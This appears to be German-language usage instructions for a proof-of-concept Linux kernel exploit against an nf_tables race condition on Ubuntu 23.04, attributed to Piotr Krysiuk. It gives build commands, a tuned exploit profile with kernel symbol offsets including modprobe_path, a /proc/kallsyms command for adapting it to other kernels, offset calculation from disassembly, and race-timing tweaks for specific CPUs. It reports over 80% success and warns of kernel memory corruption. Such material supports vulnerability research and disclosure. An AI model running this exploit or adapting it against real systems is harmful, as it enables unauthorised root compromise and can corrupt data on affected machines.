
Nur für den eigenen Gebrauch. Der Autor des PoC ist Piotr Krysiuk. Bitte lesen Sie vor der Verwendung zuerst README.md.
Die folgenden Anweisungen wurden unter Ubuntu 23.04 (Lunar Lobster) getestet.
Führen Sie den folgenden Befehl aus, um die Build-Abhängigkeiten zu installieren:
sudo apt install gcc libmnl-dev libnftnl-dev
Führen Sie den folgenden Befehl aus, um das PoC-Binärprogramm zu erstellen:
gcc -Wall -o exploit exploit.c -lmnl -lnftnl
Das integrierte Profil enthält Parameter, die spezifisch für den Linux-Kernel sind, der in binärer Form als die folgenden Pakete von Ubuntu 23.04 (Lunar Lobster) verteilt wird:
Das integrierte Profil sieht wie folgt aus:
1 race_set_slab # {0,1}
1572 race_set_elem_count # k
4000 initial_sleep # ms
100 race_lead_sleep # ms
600 race_lag_sleep # ms
100 reuse_sleep # ms
39d240 free_percpu # hex
2a8b900 modprobe_path # hex
23700 nft_counter_destroy # hex
347a0 nft_counter_ops # hex
a nft_counter_destroy_call_offset # hex
ffffffff nft_counter_destroy_call_mask # hex
e8e58948 nft_counter_destroy_call_check # hex
Optionale Schritte zum Überschreiben des integrierten Profils beim Testen mit anderen Linux-Kerneln:
modprobe nf_tables
egrep ' (nft_counter_ops|nft_counter_destroy|free_percpu|modprobe_path)(\s|$)' /proc/kallsyms > profile
Um die Kernel-Basis zu finden, untersuchen wir das nf_tables.ko-Image im Kernel-Speicher. Insbesondere analysieren wir den Maschinencode der Unterroutine nft_counter_destroy(). Dies bedeutet, dass unsere Methode empfindlich auf den Compiler sowie auf die Kompilierungsoptionen reagiert. Alle üblichen Fälle können jedoch durch Überschreiben des integrierten Profils behandelt werden.
Beispielsweise kann der Maschinencode der Unterroutine nft_counter_destroy() wie folgt aussehen:
000000000001e310 <nft_counter_destroy>:
1e310: f3 0f 1e fa endbr64
1e314: 48 8b 7e 08 mov rdi,QWORD PTR [rsi+0x8]
1e318: e9 00 00 00 00 jmp <free_percpu>
1e31d: 0f 1f 00 nop DWORD PTR [rax]
Im obigen Fall können wir einige Parameter angeben, indem wir die folgenden drei Zeilen an die Konfigurationsdatei "profile" anhängen.
Zuerst definieren wir den Offset des DWORD vor dem free_percpu-Displacement neu:
5 nft_counter_destroy_call_offset # hex
wobei der Wert 5 mithilfe des Ausdrucks (1e31d - 1e310) - 8 berechnet wurde.
Als Plausibilitätsprüfung validieren wir anschließend das DWORD an dem obigen Offset mithilfe der folgenden Maske:
ffffffff nft_counter_destroy_call_mask # hex
und erwarten den folgenden Wert:
e9087e8b nft_counter_destroy_call_check # hex
Das Ausnutzen der Schwachstelle erfordert, ein Rennen gegen den Hintergrund-Worker-Thread des Linux-Kernels zu gewinnen. Das integrierte Profil wurde abgestimmt, um die Gewinnchancen dieses Rennens auf einer breiten Palette von Intel-Mikroprozessoren zu maximieren, einschließlich Mobile Sandy Bridge und Desktop Comet Lake. Allerdings erfordern einige Mikroprozessoren zusätzliche Abstimmung. Beispielsweise haben wir unter Alder Lake in bestimmten Setups eine erhöhte Latenz beim Task-Wechsel beobachtet, wo es notwendig sein kann, die folgende Zeile an "profile" anzuhängen:
400 race_lead_sleep
Wir haben in unseren Tests, die auf idle Bare-Metal-Systemen durchgeführt wurden, eine Erfolgswahrscheinlichkeit von 80 % oder mehr für die Ausnutzung der Schwachstelle gemessen.
Sobald der PoC auf einem verwundbaren System gestartet wird, kann er dieses System in einem instabilen Zustand mit beschädigtem Kernel-Speicher hinterlassen. Wir empfehlen dringend, den PoC auf einem dedizierten System zu testen, um potenzielle Datenkorruptionen zu vermeiden.